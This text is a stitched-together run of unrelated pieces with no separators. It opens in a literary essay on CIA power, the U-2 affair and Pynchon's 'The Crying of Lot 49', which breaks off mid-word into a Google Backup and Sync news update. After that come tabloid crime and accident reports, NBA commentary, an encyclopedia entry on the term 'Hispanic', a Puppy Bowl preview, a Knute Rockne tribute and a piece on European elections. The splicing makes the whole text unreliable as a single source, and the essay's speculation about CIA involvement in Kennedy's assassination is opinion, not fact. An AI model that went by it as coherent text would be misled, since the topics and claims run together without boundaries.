the Iron Curtain, many observers felts its (97) acceptance would have gone a long way toward thawing the Cold War. To make a gesture of good faith toward Soviet Premier Khrushchev, the president ordered the CIA (under Allen Dulles) to halt its U2 photoreconnaissance flights. But Dulles secretly arranged for the flights to continue. When Francis Gary Powerss U2 spy plane was shot down in the Ural mountains on May 1, 1960, and Khrushchev announced the facts to the world media, the embarrassed Eisenhower lied to cover up. To many it appeared that the CIA chief had disobeyed a direct order from the CommanderinChief. The St. Louis PostDispatch asked the next day, "Do our intelligence operatives enjoy so much freewheeling authority that they can touch off an incident of grave international import by lowlevel decisions unchecked by responsible policymaking power?" (qtd. in Andrew 246). Had Dulles disobeyed a direct order from Eisenhower when Ike was seeking greater détente with the Soviets? Later, when Lee Harvey Oswalds possible role in the U2 affair became known, some observers felt Dulless action implied that the director of the CIA was above the president and that the militaryindustrial complex could do what it pleased, independent of the will of the people as expressed by the popularly elected and duly constituted chief executive. No wonder Ike was peeved: the CIA was running the U.S. the way it ran Latin America. The U2 affair was no mere personality squabble, Ike vs. Dulles; it was two institutions of the executive branch vying for supremacy, the presidency vs. the CIA, hence the democratic process vs. a form of totalitarism. Concern also ran high about Cuba, Castro and the exporting of Cuban communism to the rest of Latin America even before the beginning of the Kennedy administration. The CIA had already planned the April 1961 Bay of Pigs invasion before Kennedy took office in January, and when the invasion failed, Kennedy felt that the CIA had set him up. He let it be known he intended to dismantle the CIA and assign its functions to the other intelligence units within the government. He reportedly vowed "to splinter the CIA in a thousand pieces and scatter it to the winds" (Marchetti 29). Kennedy, a Democrat, forced the Republican Allen Dulles to resign, along with other senior CIA officers. But the CIA was too deeply involved just then in operations around the world to be disassembled. Kennedy was assassinated in 1963, in a way that implicated the CIA. Though it smacks of post hoc fallacy, many peoplejournalists, filmmakers, critics of the Warren Comission Report, maybe even J. Edgar Hooverbelieved the CIA had some hand in Kennedys assassination and the coverup. If it had, the CIA was again demonstrating that the presidency was subordinate to the CIA. (98) Ironically, the link between Eisenhowers struggle with the CIA and Kennedys is Lee Harvey Oswald, historys alltime patsy. In Oswald and the CIA John Newman reports that, "whether witting or not, Oswald became involved in CIA operations" (xv). One of the first things Oswald did when he defected to Russia was "offer to furnish the Soviets information he possessed on U.S. radar" (444), in front of an American official. Oswalds job in the Marines was tracking U2 flights. His defection, termed a "dangle" in intelspeak, seems to have led to the downing and capture of Francis Gary Powers, and to have subverted Eisenhowers attempt at détente. The CIA records on Oswald, from the day of his defection onward, disappeared into a black hole in the CIAs Counterintelligence/Special Investigation GroupCI/SIGthe extremely sensitive and closely held realm ofyou already guessed itJames Jesús Angleton. The public course of Oswalds career once he arrived back in the States is well known. In a very short time, two presidents, a Republican and a Democrat, ran afoul of the CIA. The result amounted to a constitutional crisis, a change in our actual form of government without benefit of a duly ratified constitutional amendment. The crisis is reminiscent of that period in Roman history when the Praetorian Guard could sell the office of Emperor to the highest bidder and then, after a time, assassinate him and have a new auction. To this day, the president has never again challenged the CIA, though the agency has made its share of egregious errors. With the selection of former CIA director George H.W. Bush, the presidency and and the CIA effectively merged. Nowadays, given the dissolution of the former Soviet Union, there is again talk of downsizing or even eliminating the CIA and placing any of its indispensable functions under other, more appropriate government agencies. Maybe the CIAits tactics and strategieswas justifiable only as long as there was the Cold War. Maybe now we can return to our old form of government. Maybe. Or maybe the CIA has gained strength from its role in the Wye Accords, while the presidency has been weakened by the Clinton impeachment. The extent to which The Crying of Lot 49 alludes to these political issues, or to issues of government and society, may not have been entirely clear when the book was published, before Watergate and IranContra. I credit Pynchon with a lot of prescience, which he may or may not possess. But Lot 49 itself suggests the analogy between the crisis in midsixties America and a crisis in Roman history by giving us, late in the novel, Dr. Diocletian Blobb. Why bring in his name after all that has gone before? Diocletian was a Roman emperor (284304 CE) whose reign marked a change in government. UndUpdate (January 06):
Google has officially confirmed that with the client’s latest version 3.39 it’s now possible to exclude Apple Photos Library metadata from syncing. Here’s how you can do it:
In the “My Computer” section of the Backup and Sync Preferences, click Change. Select Back up photos and videos, and uncheck Back up Apple Photos Library metadata. When unchecked, only photo files from your library are backed up. When checked, your entire Apple Photos Library is synced to Google Drive
Original story:
Google Photos users who switched to the new Backup and Sync client application on their Mac systems are reporting that the application is backing up unwanted stuff on the cloud. Specifically, users say files like thumbnails, facetiles, and other garbage stuff is showing up in their Google Photos library.
A quick look at the official Photos forum reveals that a lot of users have experienced this problem, severely hampering their Photos app experience and understandably making them upset and angry. Many of those affected say they never faced such an issue with the older Google Photos client application (that was retired in favor of Backup and Sync).
One of the Community Specialist recently replied on a thread discussing this issue, saying the most recent version of the Backup and Sync app should not behave this way. Here’s what they exactly said:
The most recent version should not upload thumbnails from within the Mac photos library. New uploads with the new version of the client should not be added to photos. (Note they will still appear in Drive). These thumbnails do not show up in Google Photos app, though the regular master photo does.
They suggested users to perform the following steps to resolve the issue:
However, if user comments following this update are to go by, there’s no relief. Basically, some of those who tested the latest Backup and Sync version said the problem is still there.
If you’re also facing this issue, and wondering how to delete the useless stuff (thumbnails, facetiles, and more) from your Photos cloud storage, a user suggested doing this:
To make it easier to delete all the incorrectly-imported photos, you can visit: https://photos.google.com/search/_tra_?referrer=BAS&pli=1
That will order the photos as they were imported from Backup and Sync.
And for those wondering if there’s a temporary workaround for the main issue, there are a handful, thankfully. First is:
The second one requires a bit of command line knowledge. See screenshot below:
Lastly, someone also posted a link to a script hosted on GitHub, which presumably deletes thumbnails. You can access the script by heading here. At this point, we cannot confirm if any of the aforementioned workarounds successfully resolve the problem, but there should be no harm giving them a try.
Officially, Google hasn’t said anything on this issue. So it’s difficult to say whether or not company is even aware of the problem, let along working on the fix.
PS: This is not the only issue plaguing Backup and Sync – head here to take a look at the ones we’ve already covered.
Source 1 | Source 2Father jailed for killing his 16-week-old baby when he lost his temper after running out of cannabis
William Stephens, 25, shook to death his 16-week-old Paris Vince-Stephens
Had become 'agitated' after running out of cannabis, a jury heard
Daughter suffered catastrophic head injuries and bleeding in the eyes
Stephens has been sentenced to six years in jail at Bristol Crown Court
Jailed: William Stephens, 25, killed his 16-week-old daughter after losing his temper because he had run out of cannabis, a court heard
A father who shook to death his baby daughter because he was agitated after running out of cannabis has been jailed for six years.
William Stephens, who also used heroin and crack cocaine, killed 16-week-old Paris Vince-Stephens at her home in Bristol.
He violently shook his daughter after she started crying - leaving her with catastrophic head injuries and bleeding in the eyes.
The 25-year-old, from Southmead, Bristol, denied manslaughter, but was convicted by a jury at Bristol Crown Court yesterday.
Paris's mother Danah Vince, 19, was also accused of ki lling her daughter, but was acquitted of manslaughter during a seven-week trial.
The court heard that on the day of Paris’s death, Stephens and Miss Vince had become 'agitated' because they had run out of drugs.
Ignatious Hughes QC, mitigating, said: 'There is plenty of evidence that he and Danah Vince are likely to have been in a state of agitation due to lack of cannabis.'
The pair had subsequently argued, before Miss Vince left Paris in Stephens's care while she went to the doctors.
During her absence, Paris was admitted to Bristol Children’s Hospital with serious head injuries - with one shocked expert saying he had never before seen such a severe case of bleeding in the eyes.
The baby died three days later when her life support machine was switched off.
An examination on Paris's body found she had either been shaken or suffered a head injury from hitting her head against a soft surface - or a combination of both.
Victim: Baby Paris Vince-Stephens was shaken to death by her father at her home in Southmead, Bristol
Stephens, who has an IQ of 52 and cannot read, initially told police he had not touched his daughter all day - claiming she had simply gone 'all floppy' while he was feeding her.
However, he later admitted he'slightly shook her' at Miss Vince's flat in Bristol.
Christopher Quinlan QC, prosecuting, said Stephens had a string of previous convictions for violence between 2006 and 2010, including punching a pregnant woman and assaulting a police officer.
He had been handed community orders, cautions, reprimands and warnings for the offences.
However, Hughes said Stephens's'modest' upbringing in a 'drug-ridden' neighbourhood meant it was 'hardly surprising' he had acquired previous convictions and a drug habit.
Case: Stephens, who has an IQ of 52, was jailed for six years at Bristol Crown Court yesterday
He added that the defendant had been subjected to attacks in custody - including scalding water being thrown at his face - due to the nature of his offence in January this year.
The court also heard that Stephens had a volatile relationship with Miss Vince - with the family having been under the eye of social services.
Despite being given a restraining order to stay away from Miss Vince, Stephens had defied it and continued living with her and their daughter.
A serious case review is now being carried out into the way public bodies handled the case.
Sentencing Stephens, Mr Justice Teare told him: 'This is a case where a loss of control has resulted in a fatal act of violence on a defenceless baby.
'You will have to live with the fact that you killed your daughter.'
He added that Stephens's'serious learning disabilities' could have been a factor in Paris's death.
'You admitted having a short temper,' he told him. 'Your inability to control your temper is exacerbated by your significant learning disability.
'She had been left with you in her crib and she must have in some way irritated you that you lost your temper with her.
'You yourself said she was crying - it may well have been that.'
Speaking after the case, James Ward, crown advocate for the Crown Prosecution Service South West, described the case as 'difficult'.
'Some people may consider that six years for killing a child is inappropriate,but I want the community to understand that the defendant was charged with manslaughter,' he said.
Case: Speaking outside Bristol Crown Court, pictured, today, the CPS advocate described the case as 'difficult'
'He didn’t intend to kill the baby, nor did he intend to cause it really serious harm.
'Also, the defendant does have serious learning difficulties. His IQ is between 52 and 54. He lost control when he had that baby, probably because it cried.
'As a result of that, he shook it and that baby died.'
The Bristol Safeguarding Children Board has launched a serious case review, which is due to be published next year.School teacher who was cycling across America found dead by the side of the road after being hit by a 'drunk driver'
Joanna Abernethy was on the trip of a lifetime riding across America alone
The 53-year-old Canberra high school teacher wasn't a cyclist
She was found dead on the side of a highway in the US after being hit by a vehicle
Her 7,200km journey started on May 7 in Oregan to honour her hero Martin Luther King Jr
The mother of two estimated the trip would take three months
She was due to arrive at her destination - Washington DC - on Thursday, August 14
Joanna Abernethy was found dead at 3.38am local time on Saturday on the side of a highway in eastern Indiana after being struck by a vehicle
An Australian mother has been killed whilst on a cycling quest to complete a trip of a lifetime across America.
Canberra high school teacher Joanna Abernethy was found dead on the side of a highway at 3.38am local time on Saturday.
She was hit by a car in eastern Indiana, 500 miles away from her final destination Washington DC, just five days before she planned to complete her trek.
Abernethy began her planned 7,200km journey on May 7 from Astoria, Oregon, to arrive at Washington DC on Thursday, August 14 to honour her hero Martin Luther King Jr.
She estimated the trip would take three months.
Along the way she made friends with residents offering a warm bed for the night, a shower, food and cash to help with her journey.
Among them was Missouri resident and avid cyclist Frank Briscoe.
'She was such a good person who was full of determination and it was refreshing to see that,' he told Daily Mail Australia.
'We became instant friends and even though we had only known each other for 24 hours I knew we would be friends forever.'
Briscoe said he was devastated to hear the news when he was contacted by her half-brother Jake.
He informed Briscoe that it is likely that his sister was hit by a drunk driver.
Briscoe, a member of the Warm Showers Organisation which offers cyclists on tours a warm and safe place to stay, first met Abernethy on July 31.
'She inspired me and I'm so proud of her tribute ride,' he said.
Briscoe was so taken with Abernethy and her inspirational story he penned an article for his local paper, the Nevada Daily Mail, on August 2, but just days later he discovered his new friend was dead.
'I was devastated,' he said.
'I just sat and cried.'
The 53-year-old mother was on the trip of a lifetime riding across America alone Joanna was due to arrive at her destination - Washington DC - on Thursday, August 14
Abernethy's big adventure was born a year ago when out of the blue, she decided she wanted to cycle alone across America.
She wasn't an experienced cyclist which prompted Briscoe to advise his new friend against cycling late at night.
'But she was on a mission and she had a lot of miles to catch up on,' he said.
When Abernethy started training she borrowed her teenage daughter Orly's Malvern Star bike and clocked up kilometres around Canberra.
She eventually upgraded to the more suitable Vivente touring bike and bought a ticket to the US.
Abernethy started a blog to detail her long journey and in it she explained the impact King, who was assassinated in Memphis in 1968, had on her.
'Like many people, Martin Luther King's life touched me deeply, because of his willingness to face into the frightening maelstrom of the times he lived in, that was necessary to bring about change,' she wrote.
'He did it with such courage, dignity, love and hope, so that all of us could have a better world.
'That is so deeply moving, and rare and was a much needed step in the evolution of consciousness, a gift for humanity, and of course a very big price to pay and sacrifice.
'I felt this well worth paying tribute to, so my hope is to share this with people by doing this ride.'
Abernethy reflected on her decision in her final blog post on April 27 - a week before she embarked on her trip to the US.
'I suppose most people would like to think that they made a difference, that it meant something to be here, and we weren't just taking up space in the grand scheme of things,' she wrote.
Frank Briscoe said he became instant friends with Joanna when they first met on July 31
The Wayne County Sheriff's Department, near the Indiana and Ohio border, has launched an investigation into Abernethy's death.
Her body was found on the eastbound side of the four lane US40 highway.
A 24-year-old driver of a vehicle, Clifford Henry, may face charges.
Wayne County Sheriff Jeff Cappa said the investigation could take'several weeks' and then the evidence would be forwarded to prosecutors who will review and determine if criminal charges should be laid.
Abernethy's family is attempting to come to terms with the loss of the free-spirited teacher.
Orly, 19, is being cared for by family and friends in Canberra.
'We were surprised at first,' said Abernethy's brother, Jake, recalling the family reaction to her announcement she was going to cycle across the US.
'But Joanna was interested in spiritual things and this fit with that.'Kevin Durant has been the clear Finals MVP through the first two games, and perhaps high off of recency bias, Paul Pierce said Sunday night on ESPN's postgame show the Warriors forward "may be the best player in the world today."
The retired pro was mocked by his crew, with Michelle Beadle asking what was in his drink. Pierce responded by saying he was drinking "Truth Juice" which means he really believes Durant has passed LeBron James as the best player in the league right now.
While no one is taking anything away from Durant, Pierce is flat-out wrong about this one. James just finished with his eighth Finals triple-double (tied for most all-time) after shooting 12-of-18 from the field. Durant has been great in this series, and is probably the second-best player in the league, but let's not hand over that crown quite yet.
How Paul Pierce going to tell everybody to simmer down and don't get caught in the moment after he said KD the best player on the planet? — Charlamagne Tha God (@cthagod) June 5, 2017
At the end of the day, we're splitting hairs here. Many would argue Durant is the second-best player behind James, especially after his Game 2 performance of 33 points, 13 rebounds, 6 assists, 5 blocks and 3 steals. But James is still the king of the NBA at the moment.Nuevomexicanos, This article is about peoples and cultures related to Spain. For Hispanos, such as Californios Tejanos, or other uses of the English translation of Hispano, see Hispano (disambiguation)
The term Hispanic (Spanish: hispano or hispánico) broadly refers to the people, nations, and cultures that have a historical link to the Spanish language or the country of Spain, depending on the context.
It commonly applies to countries once under colonial possession by the Spanish Empire following Spanish colonization of the Americas, parts of the Asia-Pacific region and Africa. Principally, what are today the countries of Hispanic America, the Spanish Philippines, Spanish Guinea and Spanish Sahara where Spanish may or may not be the predominant or official language and their cultures are heavily derived from Spain although with strong local indigenous or other foreign influences.
It could be argued that the term Hispanic should apply to all Spanish-speaking cultures or countries, as the historical roots of the word specifically pertain to the Iberian region. It is difficult to label a nation or culture with one term, such as Hispanic, as the ethnicities, customs, traditions, and art forms (music, literature, dress, culture, cuisine, and others) vary greatly by country and region. The Spanish language and Spanish culture are the main distinctions.[1][2]
Hispanus was used to define people of ancient Roman Hispania, which roughly comprised the Iberian Peninsula, including the contemporary states of Spain, Portugal, and Andorra, and the British Overseas Territory of Gibraltar.[3][4][5]
Terminology [ edit ]
The term Hispanic derives from Latin Hispanicus ('Spanish'), the adjectival derivation of Latin (and Greek) Hispania ('Spain') and Hispanus/Hispanos ('Spaniard'), ultimately probably of Celtiberian origin.[6] In English the word is attested from the 16th century (and in the late 19th century in American English).[7]
The words Spain, Spanish, and Spaniard are of the same etymology as Hispanus, ultimately.[6]
[8] Stele of a family of celts, hispanus from Gallaecia : Apana · Ambo/lli · f(ilia) · Celtica / Supertam(arica) · / [j] Miobri · /an(norum) · XXV · h(ic) · s(ita) · e(st) · /Apanus · fr(ater) · f(aciendum)· c(uravit)
Hispanus was the Latin name given to a person from Hispania during Roman rule. In English, the term Hispano-Roman is sometimes used.[9] The Hispano-Romans were composed of people from many different indigenous tribes, in addition to Italian colonists.[10][11] Some famous Hispani (plural of Hispanus) and Hispaniensis were the emperors Trajan, Marcus Aurelius, Hadrian, Theodosius I and Magnus Maximus, the poets Marcus Annaeus Lucanus, Martial and Prudentius, the philosophers Seneca the Elder and Seneca the Younger, or the usurper Maximus of Hispania. A number of these men, such as Trajan, Hadrian and others, were in fact descended from Roman colonial families.[12][13][14]
Here follows a comparison of several terms related to Hispanic:
Hispania was the name of the Iberian Peninsula/Iberia from the 3rd century BC to the 8th AD, both as a Roman Empire province and immediately thereafter as a Visigothic kingdom, 5th–8th century.
was the name of the Iberian Peninsula/Iberia from the 3rd century BC to the 8th AD, both as a Roman Empire province and immediately thereafter as a Visigothic kingdom, 5th–8th century. Hispano-Roman is used to refer to the culture and people of Hispania. [15] [16] [17]
is used to refer to the culture and people of Hispania. Hispanic is used to refer to modern Spain, to the Spanish language, and to the Spanish-speaking nations of the world, particularly the Americas, [17] [18] Pacific Islands and Asia, such as the Philippines [19] and Guam. [ citation needed ]
is used to refer to modern Spain, to the Spanish language, and to the Spanish-speaking nations of the world, particularly the Americas, Pacific Islands and Asia, such as the Philippines and Guam. Spanish is used to refer to the people, nationality, culture, language and other things of Spain.
is used to refer to the people, nationality, culture, language and other things of Spain. Spaniard is used to refer to the people of Spain.
Hispania was the Roman name for the whole territory of the Iberian Peninsula. Initially, this territory was divided into two provinces: Hispania Citerior and Hispania Ulterior. In 27 B.C, Hispania Ulterior was divided into two new provinces, Hispania Baetica and Hispania Lusitania, while Hispania Citerior was renamed Hispania Tarraconensis. This division of Hispania explains the usage of the singular and plural forms (Spain, and The Spains) used to refer to the peninsula and its kingdoms in the Middle Ages.[20]
Before the marriage of Queen Isabella I of Castile and King Ferdinand II of Aragon in 1469, the four Christian kingdoms of the Iberian Peninsula—the Kingdom of Portugal, the Crown of Aragon, the Crown of Castile, and the Kingdom of Navarre—were collectively called The Spains. This revival of the old Roman concept in the Middle Ages appears to have originated in Provençal, and was first documented at the end of the 11th century. In the Council of Constance, the four kingdoms shared one vote.
The word Lusitanian, relates to Lusitania or Portugal, also in reference to the Lusitanians, possibly one of the first Indo-European tribes to settle in Europe. From this tribe's name had derived the name of the Roman province of Lusitania, and Lusitania remains the name of Portugal in Latin.
The terms Spain and the Spains were not interchangeable.[21] Spain was a geographic territory, home to several kingdoms (Christian and Muslim), with separate governments, laws, languages, religions, and customs, and was the historical remnant of the Hispano-Gothic unity.[22] Spain was not a political entity until much later, and when referring to the Middle Ages, one should not be confounded with the nation-state of today.[23] The term The Spains referred specifically to a collective of juridico-political units, first the Christian kingdoms, and then the different kingdoms ruled by the same king.
With the Decretos de Nueva Planta, Philip V started to organize the fusion of his kingdoms that until then were ruled as distinct and independent, but this unification process lacked a formal and juridic proclamation.[24][25]
Although colloquially and literally the expression "King of Spain" or "King of the Spains" was already widespread,[26] it did not refer to a unified nation-state. It was only in the constitution of 1812 that was adopted the name Españas (Spains) for the Spanish nation and the use of the title of "king of the Spains".[27] The constitution of 1876 adopts for the first time the name "Spain" for the Spanish nation and from then on the kings would use the title of "king of Spain".[28]
The expansion of the Spanish Empire between 1492 and 1898 brought thousands of Spanish migrants to the conquered lands, who established settlements, mainly in the Americas, but also in other distant parts of the world (as in the Philippines, the lone Spanish territory in Asia), producing a number of multiracial populations. Today, the term Hispanic is typically applied to the varied populations of these places |
's not your fault," Holt said. "When they said that, I... I don't know. I just kept saying I'm sorry."
Basketball, and the normalcy of it, has helped immensely, and Holt is anxious to get back on the court. He doubts he'll be emotional in Thursday's game but said he has a greater appreciation for everything.
He also thinks the accident, as well as the additional suspensions of teammates Stanford Robinson and Troy Williams for failed drug tests, has brought the Hoosiers closer together.
"The whole team, we're not just playing for us," he said. "We're playing for Devin, too."Do you prefer water bowls to Super Bowls? Do you like fur more than (pigskin) leather? Do you choose dogs barking in delight over coaches barking in anger?
If you answered yes to these questions, then you will probably be among those tuning in to Puppy Bowl XIII instead of Super Bowl LI on Sunday. Airing from 3 p.m. to 5 p.m. ET (noon to 2 p.m. PT) and repeating throughout the day, Animal Planet’s annual mini-gridiron competition, which is designed to promote pet adoption, will feature dozens of dogs from rescues and shelters dragging chew toys across the goal line and into your surely melting hearts.
Last year, we witnessed a tortoise streaker and silkie chicken cheerleaders, as well another Team Ruff blowout. What animal antics will take place this year? Puppy Bowl referee Dan Schachner — back for his sixth stint as the game’s zebra — previews the action with these 10 hints.
1. Team Fluff is ready for revenge. Team Ruff has blown out Team Fluff two years running. Has this competition to promote pet adoption gone to the dogs? It has not, assures Schachner. “We sincerely do try to make them evenly matched,” he tells EW. “Team Fluff is coming out with a vengeance this year. I can’t tell you exactly which team will win because it’s a live event, and anything can happen, wink, wink [the game was filmed in the fall], but I can tell you that they’re out for payback.”
2. Keep an eye out for a few exceptional MVP canine-dates. “We always have a couple of multi-touchdown winners, but this year we had four or five,” says Schachner. “And it got ridiculous to the point where we were like, ‘All right, take a break, have a seat on the bench!’” He singles out Shih Tzu mix Rory, cocker spaniel mix Nikita, and lab mix Hope.
3. An unconventional touchdown might raise some flags. Schachner notes that this year’s contest features the first touchdown scored not with a chew toy, as Nikita pulled a piece of Schachner’s equipment past the goal posts. “We thought for years that chew toys had to be dragged into the end zone,” he says. “Apparently anything on the field that is small and can go into a dog’s mouth counts as a touchdown. They had to have a debate in the control room, “Does it count? Does it not count?’ After review, we did call it good.”
4. Another competitor had a true thirst for camera time. “There was one dog that continued to lap at the water bowl for what seemed to be an eternity,” Schachner explains. “I’m not talking, like, wanted some water. I’m not talking, like, thought it was interesting. I’m talking, like, obsessively smacking the water bowl consistently. That water bowl had to be switched out. It was damaged.”
5. This year’s cheerleaders are more laid-back than last year’s. “We’ve had chickens in the past, we’ve had rabbits in the past, I believe we’ve had guinea pigs in the past, but this year it’s a combo of rabbits and guinea pigs, both are rescues,” he says of the sideline cheer squad. “Unlike the chickens, unlike pigs, [who] are really rambunctious and let you know that they’re out there, these guys are preeeeetty chill. I mean, you give them a couple of pellets and they’ll do whatever you say.” Also on the sidelines for the first time: mascots, including a chinchilla and an owl. Famous groundhog Punxsutawney Phil is on hand for the coin toss. (And social media maven Meep, who is now an African gray parrot, will tweet out game highlights). “It’s no longer Puppy Bowl,” Schachner mock-moans. “It’s now a veritable zoo that I’m trying to manage.”
Animal Planet
6. Scan the star-studded stands. You will spot some A-list canines in the crowd, including such Instagram celebrity dogs as including Chloe the Frenchie, Chloe Kardoggian, and Toast Meets World. “All of these puppies are basically no-names, right? They’re just unknowns that are trying to make it,” says Schachner. “So it was cool for them to see someone who had reached a celebrity status cheering them on.”
7. Special needs dogs will get special treatment. Last year, the spotlight was on senior dogs in need of adoption. This year’s game will pay tribute to those canines requiring special assistance. “Special needs dogs sometimes languish in shelters because they seem to have extra challenges, so this year we were able to have Doobert, a hearing-impaired dog; Lucky, a three-legged dog; and Winston, a sight- and hearing-impaired dog,” says Schachner. “Winston was a little shy, Doobert had a little bit of a hard time, but you would not have known that Lucky had any challenges whatsoever…. Obviously, we’re just doing this to try to point out the fact that when you go to a shelter, don’t overlook dogs that may look a little sick or challenged.”
8. The game was messy — but maybe not as much as previous ones. The crew went through 1,600 puppy pads on the sidelines to manage the dirty part of the game. “As far on the field, you have to imagine at one time we’ve got 10 to 12 dogs on the field, they’ve each gotta go at one point or another, and we shoot for two days,” says Schachner. “I’m not great at math, but I’m going to say there’s at least a couple hundred, at least, pees on the field. Poops were not so bad this year. No poops in this tunnel this year, so that for us is huge.”
9. Speaking of peeing… At the conclusion of this year’s game, a team will be awarded the first-ever The Lombarky Trophy — a nod to the NFL’s Lombardi Trophy — and it’s shaped like a fire hydrant. An Underdog Award also will be handed (pawed?) out. “I guess that’d be the equivalent of the Rookie of the Year award in human football,” says Schachner. “And underdog is not the dog that is literally under your foot — although that does happen a lot to me as the ref — it is the dog that has really shown the most spunk. That’s what we like. We like scrappy dogs.”
10. You might go Gaga for the insane kitten halftime show. “Kitty Gaga is performing ‘Puparazzi,’ the famous song that she is known for,” says Schachner. “At the beginning of Kitty Gaga’s performance, you will see kittens just going for it. You can see cats playing guitars, you can see scratching on a DJ turntable, you can see Kitty Gaga in her infamous meat dress. Don’t worry, it’s a vegan meat dress, so there’s something for everybody.” How legit is this performance? “I can confirm it’s not a lip sync, it’s not singing, it is an actual meow,” he says. “It’s a meow set to music.”After celebrating a magical 125th football season, it’s a nice little coincidence that today is Knute Rockne’s 125th birthday. The man who has been immortally intertwined with the history and traditions of Notre Dame football was born on March 4, 1888 in Voss, Norway.
I will not pretend to have the historical chops to properly quantify what Rockne meant to Notre Dame and its football program. But rare is the coach that means more to a team than Rockne to Notre Dame.
(That’s a debate worth having. What individual has embodied a team or a franchise more than Rockne to Notre Dame: Lombardi? Bryant? Steinbrenner? Paterno? Pitch in in the comments below…)
As we go through a bit of a lull between recruiting and spring football, here are some nice reads on Rockne that I thought were worth sharing.
This from a great piece by ND historian Jim Lefebvre at Forever Irish:
Wherever he was in life, Knute Rockne always seemed to have a vision. He had a vision for how athletics – starting with his beloved track and field, and eventually including football – could serve as a means of striving toward the best person one could be. Dedication, self-discipline, sportsmanship, fairness. These were among the attributes not always self-evident in athletic competition at the time, yet were the gospel Rockne would preach, and live, throughout his athletic career. He saw how athletics could fit comfortably into the education of a fully developed man. And how collegiate athletics complemented classroom work to challenge and draw out the best traits of young student-athletes. Rockne fought hard against critics of collegiate athletics, always advocating for its inclusion in the academy. Rockne also had a vision for how football could be played in a different way than in the early years of the 20th century, when its brutality and danger nearly caused its demise. In Rockne’s mind, football became a combination chess game and track meet on grass, with an emphasis on speed, precision and teamwork.
This from a wonderful article by Lou Somogyi:
It would enough to say that in 13 seasons he posted 105 wins, only 12 losses and 5 ties (.881), recorded six national championships in one poll or another, compiled five unbeaten and untied campaigns and produced 20 first-team All-Americans. But that would be like viewing 10 percent of the iceberg that is visible while the other 90 percent is under water.. Rockne became a national institution and Notre Dame became the national school. “Subway Alumni” were born in every section of the country, from the steelworker in Pittsburgh to the executive in California. In Rockne and Notre Dame, an identity of struggle, hope and triumph could be found — as was the glamour and popularity of sport. “Football and all athletics should be a part of culture, the culture that makes the whole man, not a part-time thinker,” wrote Rockne. “Ancient Greece was a cradle of culture, and Ancient Greece was a nation of athletes… Boys must have an outlet for animal spirits. Their education must contain a training in clean contests, otherwise they’ll be lost in a world that thrives on competition and in which those who cannot compete cannot hope to thrive. “Four years of football are calculated to breed in the average man more of the ingredients of success in life than most any academic course he takes…(Athletics) stirs the pulse, captures the imagination and, at the same time, builds character without which culture is valueless. “Sportsmanship means fair play. It means an application of the Golden Rule. Bragging and gloating or any form of dishonesty have no place in it.”
And finally, this in-depth read from Andrew Owens, a student journalist for The Observer, who traveled to Rockne’s memorial, at the site of his fatal plane crash, near Bazaar, Kansas:
We trek through the bumpy trail, and after a few minutes we can see the memorial atop the hill. Upon sight, we are speechless. Nothing but plains stretch beyond the memorial for miles. Engraved on the granite monument are eight names. Atop the list it reads, “ROCKNE MEMORIAL.” There is a small wiry fence around the monument Easter constructed years ago to protect it from the cattle. Even today you’ll find bits of glass from the plane sitting atop the soil. It was a cloudy day when we were there, but Tom said when the sun shines or the rain pours down, you can see the hill shine from miles away. Perched atop the hill, the world comes to a halt. I picked up a couple small shards of glass, and was immediately humbled as I realized I was handling one of the last remaining physical connections to Knute Rockne, the man. Suddenly, it all makes sense. Rockne needed to die a heroic death for the myth to be this grand and everlasting. While his name is the only one remembered of the eight who died in the crash, in that moment he was just as vulnerable and helpless as the others aboard the flight. When it dove into the hill in the middle of America with nothing around them, Knute Rockne the man ceased to exist, but the legend found a new beginning.
If you are feeling like a deep dive into the life of Rockne, these three are just the beginning. All articles linked are worth reading in their entirety, and nice remembrances of a complex man that was ahead of his time and responsible for so much of what we still see today.
Happy birthday, Rock.
***Since January, three European elections have produced results that have upended conventional wisdom and defied expectations. Why did this happen and are there links between them? In the latest update to our Europopulists series, we visit three places — Colne Valley in the north of England, Garges-lès-Gonesse in the Paris suburbs, and North Amsterdam— to find out how the political ground is shifting
Colne Valley
‘We’re right in the middle of it. This is still happening’
It was a month after the UK’s general election and Jason McCartney still wore the wan smile of a politician who had increased his vote tally by more than 2,600, clinched his party’s best-ever local performance — and lost his job.
The up-and-coming Conservative MP’s defeat in West Yorkshire’s Colne Valley constituency, by a mere 915 votes to a first-time Labour candidate, was one of the shocks of a shocking British election. Sitting in a local café — and occasionally interrupted by well-wishers — Mr McCartney was forthright about the reasons for his loss. “We had an appalling manifesto with nothing to sell,” he complained.
The cautious campaign run by Prime Minister Theresa May was all the more leaden set against the electrifying rise of Jeremy Corbyn, the unapologetically leftwing Labour leader whose support has grown since the election. After obsessing about Brexit for the past two years, voters seemed to catch the Conservatives off-guard by swinging their attention to the state of health and education services.
In Colne Valley, a scenic collection of villages in northern England once dominated by textile mills, the planned closure of the local hospital’s accident and emergency department provoked particular fury. Labour activists made shrewd use of social media to channel that anger.
Colne Valley, the picturesque corner of West Yorkshire that turned Labour by a margin of 915 votes © Lorne Campbell/Guzelian
All that is true. And yet it does not seem to account entirely for the demise of a popular local son whose diligence as an MP was praised even by his opponents, one who strained in polarised times to present himself as an amiable, non-political soul of his community: “Just Jason.”
It seems the well-liked Mr McCartney fell prey to a larger beast that is unsettling British politics. Even if many cannot articulate just how and why, there is a palpable feeling among Colne Valley residents that the previous arrangements and rituals that organised political life are no longer holding. The same upheaval that claimed Mr McCartney might just as easily claim his successor, Thelma Walker — or almost any other politician who dares stand before the people these days.
Jason McCartney, defeated Conservative MP: ‘We had an appalling manifesto’. Thelma Walker, newly elected for Labour: ‘The public are jaded with spin’ © Lorne Campbell/Guzelian
“It’s almost like the scales have fallen from people’s eyes,” said Mrs Walker when I spoke to her later in London, noting that voters had become jaded by spin and suspicious of professional politicians. “What’s happening in politics is a sea-change.”
Her husband Rob, a local Labour councillor, used words like “fickle”, “polarised” and “pissed off” when describing today’s voters. “The [parliamentary] expense scandal and the wars in Iraq and Afghanistan have really damaged politicians,” he explained. Mr McCartney, who was on his way to meet an executive recruiter to discuss the next phase of his career, did not disagree. “It’s very easy to be in opposition in politics these days and be populist,” he told me.
If British politics is now in flux, one culprit is last year’s EU referendum. It prompted voters to break with their parties’ official line in droves, introducing a shock to the system that is still reverberating. Once voters stray, argued Andrew Mycock, a reader in politics at Huddersfield University, they are more likely to do so again, loosening traditional bonds and pushing politics in unpredictable directions.
We were all in a state of shock when she won, to be fair
“If the politics of the west is in chaos, so is the electorate,” Mr Mycock said. “And there doesn’t seem to be any pathway to a more stable framework. It’s not going back to what it was.”
